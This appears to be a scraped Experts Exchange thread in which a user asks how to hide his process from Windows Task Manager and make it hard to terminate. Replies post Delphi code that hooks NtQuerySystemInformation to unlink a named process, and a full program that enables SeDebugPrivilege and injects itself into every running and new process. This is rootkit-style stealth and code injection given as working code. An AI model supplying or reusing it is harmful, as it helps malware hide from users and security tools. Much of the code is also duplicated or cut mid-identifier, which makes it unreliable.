alloc
asked on
MadCodeHook HookCode function usage
I'm not too familiar with Madshi's MadCollection other than referring to his online collection documentation and prototype outlines etc...
I am trying to load this dll in delphi for hiding a process in taskman in NT and don't quite understand some of the code in this library unit, also don't you have to export the hookcode function to externally call the function which hooks ntquerysysteminformation, the callback and the and nexthook functions? This code shouldn't need be injected, shall it?
Heres the code I've found.
library HideProcessNT;
{$IMAGEBASE $57000000}
uses Windows, SysUtils, madCodeHook;
type
PProcessInfo = ^TProcessInfo;
TProcessInfo=record
dwOffset : dword; // an ofset to the next Process structure
dwThreadCount : dword;
dwUnkown1 : array[0..5] of dword;
ftCreationTime : TFileTime;
dwUnkown2 : dword;
dwUnkown3 : dword;
dwUnkown4 : dword;
dwUnkown5 : dword;
dwUnkown6 : dword;
pszProcessName : PWideChar;
dwBasePriority : dword;
dwProcessID : dword;
dwParentProcessID : dword;
dwHandleCount : dword;
dwUnkown7 : dword;
dwUnkown8 : dword;
dwVirtualBytesPeak : dword;
dwVirtualBytes : dword;
dwPageFaults : dword;
dwWorkingSetPeak : dword;
dwWorkingSet : dword;
dwUnkown9 : dword;
dwPagedPool : dword; // kbytes
dwUnkown10 : dword;
dwNonPagedPool : dword; // kbytes
dwPageFileBytesPeak : dword;
dwPageFileBytes : dword;
dwPrivateBytes : dword;
dwUnkown11 : dword;
dwUnkown12 : dword;
dwUnkown13 : dword;
dwUnkown14 : dword;
ThreadInfo : PThreadInfo; // Thread list
end;
var NtQuerySystemInformationNe xtHook: function(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
function NtQuerySystemInformation(d t : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;external 'ntdll.dll';
function NtQuerySystemInformationCa llbackProc (dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
type
PBA = ^TBA;
TBA = array[0..1000000] of byte;
var
tmpbuf: PBA;
Pinfo,LastPinfo : PProcessInfo;
cp: DWORD;
curproc:string;
begin
Result := NtQuerySystemInformationNe xtHook(dt, buf,bufsiz e,retlen);
if dt<>5 then exit;
if result<>0 then exit;
cp := 0;
tmpbuf := buf;
Repeat
Pinfo := PProcessInfo(@tmpbuf[cp]);
curproc:=WideCharToString( pinfo^.psz ProcessNam e);
if lowercase(curproc)='notepa d.exe' then
begin
if pinfo^.dwOffset=0 then begin LastPinfo^.dwOffset:=0;exi t;end
else LastPinfo^.dwOffset:=LastP info^.dwOf fset+pinfo .dwOffset;
end
else
begin
LastPinfo:=Pinfo;
end;
cp := cp + Pinfo^.dwOffset;
until Pinfo^.dwOffset = 0;
end;
begin
HookCode(@NtQuerySystemInf ormation, @NtQuerySystemInformationC allbackPro c, @NtQuerySystemInformationN extHook);
end.
I'd like to call the dll dynamically at run-time and use Madshi's UnHookCode() function to unhook the set hook. Any ideas or code? More importantly does this code work ;) ?
Thanks,
Alloc
I am trying to load this dll in delphi for hiding a process in taskman in NT and don't quite understand some of the code in this library unit, also don't you have to export the hookcode function to externally call the function which hooks ntquerysysteminformation, the callback and the and nexthook functions? This code shouldn't need be injected, shall it?
Heres the code I've found.
library HideProcessNT;
{$IMAGEBASE $57000000}
uses Windows, SysUtils, madCodeHook;
type
PProcessInfo = ^TProcessInfo;
TProcessInfo=record
dwOffset : dword; // an ofset to the next Process structure
dwThreadCount : dword;
dwUnkown1 : array[0..5] of dword;
ftCreationTime : TFileTime;
dwUnkown2 : dword;
dwUnkown3 : dword;
dwUnkown4 : dword;
dwUnkown5 : dword;
dwUnkown6 : dword;
pszProcessName : PWideChar;
dwBasePriority : dword;
dwProcessID : dword;
dwParentProcessID : dword;
dwHandleCount : dword;
dwUnkown7 : dword;
dwUnkown8 : dword;
dwVirtualBytesPeak : dword;
dwVirtualBytes : dword;
dwPageFaults : dword;
dwWorkingSetPeak : dword;
dwWorkingSet : dword;
dwUnkown9 : dword;
dwPagedPool : dword; // kbytes
dwUnkown10 : dword;
dwNonPagedPool : dword; // kbytes
dwPageFileBytesPeak : dword;
dwPageFileBytes : dword;
dwPrivateBytes : dword;
dwUnkown11 : dword;
dwUnkown12 : dword;
dwUnkown13 : dword;
dwUnkown14 : dword;
ThreadInfo : PThreadInfo; // Thread list
end;
var NtQuerySystemInformationNe
function NtQuerySystemInformation(d
function NtQuerySystemInformationCa
type
PBA = ^TBA;
TBA = array[0..1000000] of byte;
var
tmpbuf: PBA;
Pinfo,LastPinfo : PProcessInfo;
cp: DWORD;
curproc:string;
begin
Result := NtQuerySystemInformationNe
if dt<>5 then exit;
if result<>0 then exit;
cp := 0;
tmpbuf := buf;
Repeat
Pinfo := PProcessInfo(@tmpbuf[cp]);
curproc:=WideCharToString(
if lowercase(curproc)='notepa
begin
if pinfo^.dwOffset=0 then begin LastPinfo^.dwOffset:=0;exi
else LastPinfo^.dwOffset:=LastP
end
else
begin
LastPinfo:=Pinfo;
end;
cp := cp + Pinfo^.dwOffset;
until Pinfo^.dwOffset = 0;
end;
begin
HookCode(@NtQuerySystemInf
end.
I'd like to call the dll dynamically at run-time and use Madshi's UnHookCode() function to unhook the set hook. Any ideas or code? More importantly does this code work ;) ?
Thanks,
Alloc
U don't have to export any functions from the dll. When the dll is injeced in the remote process, the HookCode function is executed. So u MUST inject this dll for the process to be hidden. To only hide it from Task Manager, inject the dll to taskmgr.exe. To hide it from any application, u need to inject it to all runnning applications.
To unhook the code, uninject the library
ASKER
I tried calling it on my form's OnCreate event, like so:
InjectLibrary((ALL_SESSION S or SYSTEM_PROCESSES) and (not CURRENT_PROCESS), 'your.dll');
from madshi's website example and it's hiding all the processes instead, I changed the name from notepad.exe to taskmgr.exe and it seems to hide all the processes from taskmanager, any idea how to call the inject method correctly so that it just hides my process?
alloc
InjectLibrary((ALL_SESSION
from madshi's website example and it's hiding all the processes instead, I changed the name from notepad.exe to taskmgr.exe and it seems to hide all the processes from taskmanager, any idea how to call the inject method correctly so that it just hides my process?
alloc
I don't know how madCodeHook works, but InjectLibrary((ALL_SESSION S or SYSTEM_PROCESSES) installs a system wide hook that is only available on 9x systems, which have a shared memory area where APIs are stored. To install a system wide hook in NT family systems, u must hook EVERY app and also check for new created ones. It is possible that InjectLibrary((ALL_SESSION S or SYSTEM_PROCESSES) checks for OS and if NT is found, it hooks every process. Give me some time...
Here's some code i made for u. It doesn't use madCodeHook, it uses afxCodeHook. U can get Aphex's afxCodeHook unit from his site www.iamaphex.org. Here's the link http://www.iamaphex.org/modules.php?op=modload&name=Downloads&file=index&req=getit&lid=14.
Note that this is not a dll it's a .exe. Using afxCodeHook, u don't need to inject any dll, u simply run the .exe file. To unhook the API, change the line in the EntryPoint procedure and run the .exe again.
// ---> START OF CODE <---
{
System Wide API Hooking Without A DLL
www.iamaphex.cjb.net
aphex@iamaphex.net
This is a proof of concept theoretical demo. Using the power of
InjectLibraryEx it is now possible to easily hook an API in all
processes without the need for an extra DLL file. At the moment
there are some drawbacks. The biggest of which is that packers
like UPX and FSG will break the EXE. I am working on fixing
this problem.
True system wide API hooking is only possible on 9X based OS but
a means of simulating a system wide API hook is possible using
process wide hooking on every process possible.
To hook every process we need inject into the currently running
processes but we also must have a way to monitor new processes that
are created. A simple method to do this is to hook CreateProcessA/W
API so that we can inject our hook into all new processes but this
is not a 100% reliable way to get every process. So to do this we must
create a thread that constantly enumerates the process list and injects
into each new process. The thread that does the injection is located in
either winlogon on NT or explorer in 9X.
The API that I have chosen to hook is FindFileFirst/Next API. By hooking
these API I can hide certain files from being listed. The file that
is hidden is specified with the HideFile const and the default hidden
file is "notepad.exe".
}
program SystemWideExe;
uses
Windows,
SysUtils,
afxCodeHook,
tlhelp32;
const
MapName = 'Global\FileMapping';
MutexName = 'Global\MonitorThread';
FilenameToHide: String = 'calc.exe';
type
PProcessInfo = ^TProcessInfo;
TProcessInfo=record
dwOffset : dword; // an ofset to the next Process structure
dwThreadCount : dword;
dwUnkown1 : array[0..5] of dword;
ftCreationTime : TFileTime;
dwUnkown2 : dword;
dwUnkown3 : dword;
dwUnkown4 : dword;
dwUnkown5 : dword;
dwUnkown6 : dword;
pszProcessName : PWideChar;
dwBasePriority : dword;
dwProcessID : dword;
dwParentProcessID : dword;
dwHandleCount : dword;
dwUnkown7 : dword;
dwUnkown8 : dword;
dwVirtualBytesPeak : dword;
dwVirtualBytes : dword;
dwPageFaults : dword;
dwWorkingSetPeak : dword;
dwWorkingSet : dword;
dwUnkown9 : dword;
dwPagedPool : dword; // kbytes
dwUnkown10 : dword;
dwNonPagedPool : dword; // kbytes
dwPageFileBytesPeak : dword;
dwPageFileBytes : dword;
dwPrivateBytes : dword;
dwUnkown11 : dword;
dwUnkown12 : dword;
dwUnkown13 : dword;
dwUnkown14 : dword;
ThreadInfo : PThreadInfo; // Thread list
end;
var
PID: dword;
FileMap: pointer;
var NtQuerySystemInformationNe xtHook: function(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
{
API Hooking Routines
}
function NtQuerySystemInformationCa llbackProc (dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
type
PBA = ^TBA;
TBA = array[0..1000000] of byte;
var
tmpbuf: PBA;
Pinfo,LastPinfo : PProcessInfo;
cp: DWORD;
curproc:string;
begin
Result := NtQuerySystemInformationNe xtHook(dt, buf,bufsiz e,retlen);
if dt<>5 then exit;
if result<>0 then exit;
cp := 0;
tmpbuf := buf;
Repeat
Pinfo := PProcessInfo(@tmpbuf[cp]);
curproc:=WideCharToString( pinfo^.psz ProcessNam e);
if lowercase(curproc)=FileNam eToHide then
begin
if pinfo^.dwOffset=0 then
begin
LastPinfo^.dwOffset:=0;
exit;
end
else LastPinfo^.dwOffset:=LastP info^.dwOf fset+pinfo .dwOffset;
end
else LastPinfo:=Pinfo; //I coded this part :P (Aphex: www.iamaphex.cjb.net)
cp := cp + Pinfo^.dwOffset;
Until Pinfo^.dwOffset = 0;
end;
function StrCmp(String1, String2: pchar): boolean;
begin
Result := lstrcmpi(String1, String2) = 0;
end;
//this is where we install the hooks for each API we want
procedure EntryPoint;
begin
HookCode('ntdll', 'NtQuerySystemInformation' , @NtQuerySystemInformationC allbackPro c, @NtQuerySystemInformationN extHook);
//to unhook use this function: UnHookCode(@NtQuerySystemI nformation CallbackPr oc, @NtQuerySystemInformationN extHook);
//u can make a separate procedure or even a separate .exe to uninstall the hook
//note that u don't need any .dll to inject here, u only run this .exe
end;
{
System Wide Injection Routines
}
function ExtractFileName(FileName: string): string;
begin
while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
Result := FileName;
end;
//we need this to be able to access any process
procedure SetTokenPrivileges;
var
hToken1, hToken2, hToken3: THandle;
TokenPrivileges: TTokenPrivileges;
begin
if IsNT then
begin
try
OpenProcessToken(GetCurren tProcess, TOKEN_ADJUST_PRIVILEGES, hToken1);
hToken2 := hToken1;
LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPrivileges.Privileges [0].luid);
TokenPrivileges.PrivilegeC ount := 1;
TokenPrivileges.Privileges [0].Attrib utes := SE_PRIVILEGE_ENABLED;
hToken3 := 0;
AdjustTokenPrivileges(hTok en1, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
TokenPrivileges.PrivilegeC ount := 1;
TokenPrivileges.Privileges [0].Attrib utes := SE_PRIVILEGE_ENABLED;
hToken3 := 0;
AdjustTokenPrivileges(hTok en2, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
CloseHandle(hToken1);
except;
end;
end;
end;
//this is used to share our code in memory from one process to another
function MapMemory: boolean;
var
FileMapping: THandle;
Data: pointer;
BytesRead, Module, Size: dword;
Path: array [0..MAX_PATH] of char;
begin
Result := False;
FileMapping := OpenFileMapping(FILE_MAP_W RITE, False, MapName);
if FileMapping = 0 then
begin
GetCurrentDirectory(MAX_PA TH, Path);
Module := CreateFile(pchar(ParamStr( 0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Size := GetFileSize(Module, nil);
GetMem(Data, Size);
ReadFile(Module, Data^, Size, BytesRead, nil);
CloseHandle(Module);
FileMapping := CreateFileMapping($FFFFFFF F, nil, PAGE_READWRITE, 0, Size, MapName);
if FileMapping = 0 then Exit;
FileMap := MapViewOfFile(FileMapping, FILE_MAP_WRITE, 0, 0, 0);
if FileMap = nil then
begin
CloseHandle(FileMapping);
ExitProcess(0);
end;
CopyMemory(FileMap, Data, Size);
FreeMem(Data);
Result := True;
end
else
begin
FileMap := MapViewOfFile(FileMapping, FILE_MAP_WRITE, 0, 0, 0);
end;
end;
//this is the procedure that constantly loops checking for new processes
procedure Inject;
var
ProcessHandle: THandle;
Process32: TProcessEntry32;
ProcessSnapshot: THandle;
LastPIDs, PIDs: string;
function IntToStr(I: integer): string;
begin
Str(I, Result);
end;
function IsPID(PID: dword): boolean;
begin
Result := Pos(IntToStr(PID) + ':', LastPIDs) <> 0;
end;
procedure AddPID(PID: dword);
begin
PIDs := PIDs + IntToStr(PID) + ':';
end;
begin
SetTokenPrivileges;
while True do
begin
LastPIDs := PIDs;
PIDs := '';
ProcessSnapshot := CreateToolHelp32SnapShot(T H32CS_SNAP ALL, 0);
Process32.dwSize := SizeOf(TProcessEntry32);
Process32First(ProcessSnap shot, Process32);
repeat
ProcessHandle := OpenProcess(PROCESS_ALL_AC CESS, False, Process32.th32ProcessID);
if ProcessHandle <> 0 then
begin
if not IsPID(Process32.th32Proces sID) then
begin
if GetCurrentProcessId = Process32.th32ProcessID then
InjectLibraryEx(GetCurrent Process, FileMap)
else
InjectLibraryEx(ProcessHan dle, FileMap);
end;
AddPID(Process32.th32Proce ssID);
end;
CloseHandle(ProcessHandle) ;
until not (Process32Next(ProcessSnap shot, Process32));
CloseHandle(ProcessSnapsho t);
Sleep(50);
end;
end;
//we use a mutex to determine if a thread has been created for monitoring yet
function MonitorThreadCreated: boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
CloseHandle(MutexHandle);
Result := True;
Exit;
end;
end;
Result := False;
end;
//depending on the OS version we want our monitor thread to inject into different processes
procedure CreateMonitorThread;
begin
if IsNT then
begin
if StrCmp(pchar(ExtractFileNa me(ParamSt r(0))), 'winlogon.exe') then Inject;
end
else
begin
if StrCmp(pchar(ExtractFileNa me(ParamSt r(0))), 'explorer.exe') then Inject;
end;
end;
begin
if MapMemory then
begin
SetTokenPrivileges;
if IsNT then
begin
GetWindowThreadProcessID(F indWindow( 'NDDEAgnt' , nil), @PID)
end
else
begin
GetWindowThreadProcessID(F indWindow( 'Shell_Tra yWnd', nil), @PID);
end;
InjectLibraryEx(OpenProces s(PROCESS_ ALL_ACCESS , False, PID), FileMap);
Sleep(3000);
end
else
begin
if not MonitorThreadCreated then CreateMonitorThread;
EntryPoint;
ExitThread(0);
end;
end.
// ---> END OF CODE <---
Hope this helps,
StTwister.
Note that this is not a dll it's a .exe. Using afxCodeHook, u don't need to inject any dll, u simply run the .exe file. To unhook the API, change the line in the EntryPoint procedure and run the .exe again.
// ---> START OF CODE <---
{
System Wide API Hooking Without A DLL
www.iamaphex.cjb.net
aphex@iamaphex.net
This is a proof of concept theoretical demo. Using the power of
InjectLibraryEx it is now possible to easily hook an API in all
processes without the need for an extra DLL file. At the moment
there are some drawbacks. The biggest of which is that packers
like UPX and FSG will break the EXE. I am working on fixing
this problem.
True system wide API hooking is only possible on 9X based OS but
a means of simulating a system wide API hook is possible using
process wide hooking on every process possible.
To hook every process we need inject into the currently running
processes but we also must have a way to monitor new processes that
are created. A simple method to do this is to hook CreateProcessA/W
API so that we can inject our hook into all new processes but this
is not a 100% reliable way to get every process. So to do this we must
create a thread that constantly enumerates the process list and injects
into each new process. The thread that does the injection is located in
either winlogon on NT or explorer in 9X.
The API that I have chosen to hook is FindFileFirst/Next API. By hooking
these API I can hide certain files from being listed. The file that
is hidden is specified with the HideFile const and the default hidden
file is "notepad.exe".
}
program SystemWideExe;
uses
Windows,
SysUtils,
afxCodeHook,
tlhelp32;
const
MapName = 'Global\FileMapping';
MutexName = 'Global\MonitorThread';
FilenameToHide: String = 'calc.exe';
type
PProcessInfo = ^TProcessInfo;
TProcessInfo=record
dwOffset : dword; // an ofset to the next Process structure
dwThreadCount : dword;
dwUnkown1 : array[0..5] of dword;
ftCreationTime : TFileTime;
dwUnkown2 : dword;
dwUnkown3 : dword;
dwUnkown4 : dword;
dwUnkown5 : dword;
dwUnkown6 : dword;
pszProcessName : PWideChar;
dwBasePriority : dword;
dwProcessID : dword;
dwParentProcessID : dword;
dwHandleCount : dword;
dwUnkown7 : dword;
dwUnkown8 : dword;
dwVirtualBytesPeak : dword;
dwVirtualBytes : dword;
dwPageFaults : dword;
dwWorkingSetPeak : dword;
dwWorkingSet : dword;
dwUnkown9 : dword;
dwPagedPool : dword; // kbytes
dwUnkown10 : dword;
dwNonPagedPool : dword; // kbytes
dwPageFileBytesPeak : dword;
dwPageFileBytes : dword;
dwPrivateBytes : dword;
dwUnkown11 : dword;
dwUnkown12 : dword;
dwUnkown13 : dword;
dwUnkown14 : dword;
ThreadInfo : PThreadInfo; // Thread list
end;
var
PID: dword;
FileMap: pointer;
var NtQuerySystemInformationNe
{
API Hooking Routines
}
function NtQuerySystemInformationCa
type
PBA = ^TBA;
TBA = array[0..1000000] of byte;
var
tmpbuf: PBA;
Pinfo,LastPinfo : PProcessInfo;
cp: DWORD;
curproc:string;
begin
Result := NtQuerySystemInformationNe
if dt<>5 then exit;
if result<>0 then exit;
cp := 0;
tmpbuf := buf;
Repeat
Pinfo := PProcessInfo(@tmpbuf[cp]);
curproc:=WideCharToString(
if lowercase(curproc)=FileNam
begin
if pinfo^.dwOffset=0 then
begin
LastPinfo^.dwOffset:=0;
exit;
end
else LastPinfo^.dwOffset:=LastP
end
else LastPinfo:=Pinfo; //I coded this part :P (Aphex: www.iamaphex.cjb.net)
cp := cp + Pinfo^.dwOffset;
Until Pinfo^.dwOffset = 0;
end;
function StrCmp(String1, String2: pchar): boolean;
begin
Result := lstrcmpi(String1, String2) = 0;
end;
//this is where we install the hooks for each API we want
procedure EntryPoint;
begin
HookCode('ntdll', 'NtQuerySystemInformation'
//to unhook use this function: UnHookCode(@NtQuerySystemI
//u can make a separate procedure or even a separate .exe to uninstall the hook
//note that u don't need any .dll to inject here, u only run this .exe
end;
{
System Wide Injection Routines
}
function ExtractFileName(FileName: string): string;
begin
while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
Result := FileName;
end;
//we need this to be able to access any process
procedure SetTokenPrivileges;
var
hToken1, hToken2, hToken3: THandle;
TokenPrivileges: TTokenPrivileges;
begin
if IsNT then
begin
try
OpenProcessToken(GetCurren
hToken2 := hToken1;
LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPrivileges.Privileges
TokenPrivileges.PrivilegeC
TokenPrivileges.Privileges
hToken3 := 0;
AdjustTokenPrivileges(hTok
TokenPrivileges.PrivilegeC
TokenPrivileges.Privileges
hToken3 := 0;
AdjustTokenPrivileges(hTok
CloseHandle(hToken1);
except;
end;
end;
end;
//this is used to share our code in memory from one process to another
function MapMemory: boolean;
var
FileMapping: THandle;
Data: pointer;
BytesRead, Module, Size: dword;
Path: array [0..MAX_PATH] of char;
begin
Result := False;
FileMapping := OpenFileMapping(FILE_MAP_W
if FileMapping = 0 then
begin
GetCurrentDirectory(MAX_PA
Module := CreateFile(pchar(ParamStr(
Size := GetFileSize(Module, nil);
GetMem(Data, Size);
ReadFile(Module, Data^, Size, BytesRead, nil);
CloseHandle(Module);
FileMapping := CreateFileMapping($FFFFFFF
if FileMapping = 0 then Exit;
FileMap := MapViewOfFile(FileMapping,
if FileMap = nil then
begin
CloseHandle(FileMapping);
ExitProcess(0);
end;
CopyMemory(FileMap, Data, Size);
FreeMem(Data);
Result := True;
end
else
begin
FileMap := MapViewOfFile(FileMapping,
end;
end;
//this is the procedure that constantly loops checking for new processes
procedure Inject;
var
ProcessHandle: THandle;
Process32: TProcessEntry32;
ProcessSnapshot: THandle;
LastPIDs, PIDs: string;
function IntToStr(I: integer): string;
begin
Str(I, Result);
end;
function IsPID(PID: dword): boolean;
begin
Result := Pos(IntToStr(PID) + ':', LastPIDs) <> 0;
end;
procedure AddPID(PID: dword);
begin
PIDs := PIDs + IntToStr(PID) + ':';
end;
begin
SetTokenPrivileges;
while True do
begin
LastPIDs := PIDs;
PIDs := '';
ProcessSnapshot := CreateToolHelp32SnapShot(T
Process32.dwSize := SizeOf(TProcessEntry32);
Process32First(ProcessSnap
repeat
ProcessHandle := OpenProcess(PROCESS_ALL_AC
if ProcessHandle <> 0 then
begin
if not IsPID(Process32.th32Proces
begin
if GetCurrentProcessId = Process32.th32ProcessID then
InjectLibraryEx(GetCurrent
else
InjectLibraryEx(ProcessHan
end;
AddPID(Process32.th32Proce
end;
CloseHandle(ProcessHandle)
until not (Process32Next(ProcessSnap
CloseHandle(ProcessSnapsho
Sleep(50);
end;
end;
//we use a mutex to determine if a thread has been created for monitoring yet
function MonitorThreadCreated: boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
CloseHandle(MutexHandle);
Result := True;
Exit;
end;
end;
Result := False;
end;
//depending on the OS version we want our monitor thread to inject into different processes
procedure CreateMonitorThread;
begin
if IsNT then
begin
if StrCmp(pchar(ExtractFileNa
end
else
begin
if StrCmp(pchar(ExtractFileNa
end;
end;
begin
if MapMemory then
begin
SetTokenPrivileges;
if IsNT then
begin
GetWindowThreadProcessID(F
end
else
begin
GetWindowThreadProcessID(F
end;
InjectLibraryEx(OpenProces
Sleep(3000);
end
else
begin
if not MonitorThreadCreated then CreateMonitorThread;
EntryPoint;
ExitThread(0);
end;
end.
// ---> END OF CODE <---
Hope this helps,
StTwister.
@StTwister:
InjectLibrary(specialFlags ) works in all OSs, even in the NT family. madCodeHook takes care of everything that is needed, including automatic injection into all currently running and into all newly created processes.
@alloc:
The problem must be in the code itself. It's probably doing something wrong.
Anyway, hiding a process isn't really a good solution. It's fishy at best. I'd suggest to protect your process from being terminated instead. That should be good enough, I think.
Hooking NtQuerySystemInformation has one little disadvantage: If some copy protections (e.g. SafeDisc) think they would be running inside of a debugger - they refuse to run. Other copy protections (e.g. some AutoCAD versions) crash intentionally. Hooking NtQuerySystemInformation with madCodeHook makes SafeDisk and some AutoCAD versions think they'd be running inside of a debugger, so it's a bit of a problem. Hooking process termination doesn't have these problems. See the HookProcessTermination demo in madCodeHook's demo folder.
InjectLibrary(specialFlags
@alloc:
The problem must be in the code itself. It's probably doing something wrong.
Anyway, hiding a process isn't really a good solution. It's fishy at best. I'd suggest to protect your process from being terminated instead. That should be good enough, I think.
Hooking NtQuerySystemInformation has one little disadvantage: If some copy protections (e.g. SafeDisc) think they would be running inside of a debugger - they refuse to run. Other copy protections (e.g. some AutoCAD versions) crash intentionally. Hooking NtQuerySystemInformation with madCodeHook makes SafeDisk and some AutoCAD versions think they'd be running inside of a debugger, so it's a bit of a problem. Hooking process termination doesn't have these problems. See the HookProcessTermination demo in madCodeHook's demo folder.
@Madshi, i've read ur madCodeHook documentation and i saw there that it can also make system wide hooks on NT systems. The problem is not in the hook code, i've tested it with afxCodeHook and it works just fine. If done properly with no problems, hidding is better then protect process termination. Of course, hidden processes can be terminated, but user must know PID or process name. Even if a process can't be terminated, the user know it's running. So each method has advantages and disadvantages.
ASKER
StTwister:
Delphi's compiler is saying InjectLibraryEx() is an undeclared identifier, I don't see the function listed in afxcodehook, where is its declaration? The IsNT function also seems to be missing, which is no big deal because it's most likely just checking if the os platform is 9x or NT.
madshi:
Your hook process termination seems to work nicely, however two things.
1.) I only want my process to disallow process termination, not all processes.
2.) I don't want the user to have the option to terminate my process with a messagebox.
Alloc
Delphi's compiler is saying InjectLibraryEx() is an undeclared identifier, I don't see the function listed in afxcodehook, where is its declaration? The IsNT function also seems to be missing, which is no big deal because it's most likely just checking if the os platform is 9x or NT.
madshi:
Your hook process termination seems to work nicely, however two things.
1.) I only want my process to disallow process termination, not all processes.
2.) I don't want the user to have the option to terminate my process with a messagebox.
Alloc
ASKER
Madshi:
I just reworked your example and am now only disallowing my application to terminate rather than having a messagebox ask for permission for all processes. It's a little more tricky considering you build your form from raw api and my window isn't created that way, so I still have to use the loop construct you have for denying the wm_quit messages.
I'm doing something like:
if s2 = extractfilename(paramstr(0 )) then
boolean(answerbuf^) := false
else
boolean(answerbuf^) := true;
end;
And on my form's onclose and onterminate events I've used something like
inject(false);
If I have any problems incorporating it into my project I'll open a new thread, ask you there and award you points, is this alright?
StTwister :) I'm still looking forward to your response and your code looks interesting nonetheless.
Alloc
I just reworked your example and am now only disallowing my application to terminate rather than having a messagebox ask for permission for all processes. It's a little more tricky considering you build your form from raw api and my window isn't created that way, so I still have to use the loop construct you have for denying the wm_quit messages.
I'm doing something like:
if s2 = extractfilename(paramstr(0
boolean(answerbuf^) := false
else
boolean(answerbuf^) := true;
end;
And on my form's onclose and onterminate events I've used something like
inject(false);
If I have any problems incorporating it into my project I'll open a new thread, ask you there and award you points, is this alright?
StTwister :) I'm still looking forward to your response and your code looks interesting nonetheless.
Alloc
Replace InjectLibraryEx with InjectLibrary. U can exclude the IsNT stuff or use this function:
function IsNT: boolean;
var
Version: TOSVersionInfo;
begin
Version.dwOSVersionInfoSiz e := SizeOf(TOSVersionInfo);
GetVersionEx(Version);
Result := Version.dwPlatformId = VER_PLATFORM_WIN32_NT;
end;
That should work just fine...
function IsNT: boolean;
var
Version: TOSVersionInfo;
begin
Version.dwOSVersionInfoSiz
GetVersionEx(Version);
Result := Version.dwPlatformId = VER_PLATFORM_WIN32_NT;
end;
That should work just fine...
This happens because i use an older version of afxCodeHook. The new version is only NT compatible. The old version also works on 9x systems. Tell me if u want the old one.
ASKER
StTwister it compiled fine after adding the function and changing out the Ex on the injectlibrary function, the only thing is the comments say it hides notepad.exe yet the constant variable called FileNameToHide specifies calc.exe. I'm not understanding the demo maybe because the process still appears in the task list, is it because of the fact that it's a windowless program only for a proof of concept? It blinks for a second and doesn't appear to hide any new instances of calc or notepad. Maybe I'm doing something wrong maybe, I don't mean to sound like a noobie since you've helped me thus far but I sure could use some information about what exactly takes place ;)
If you could offer me a bit of insight I will award you points for this question and open a new thread for madshi to collect some points as well for his efforts.
Alloc
If you could offer me a bit of insight I will award you points for this question and open a new thread for madshi to collect some points as well for his efforts.
Alloc
Alloc, if the name of your exe doesn't change, then there's no need to do all that complicated communication between the hook dll and your application. Just do the "if IsTextEqual(exeName, 'your.exe') then ..." directly in your hook dll. Have a look into the HookFindFile demo to see what I mean. That hook dll also doesn't communicate with the app and works fine nevertheless - because it's hard coded to a specific file name.
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
I understand now what goes on thanks. I will award yu points for answer and open new Q for madshi to collect some as well.
Alloc
Alloc
ASKER
Madshi please comment here Q_21258818.html and I accept as answer.
alloc
alloc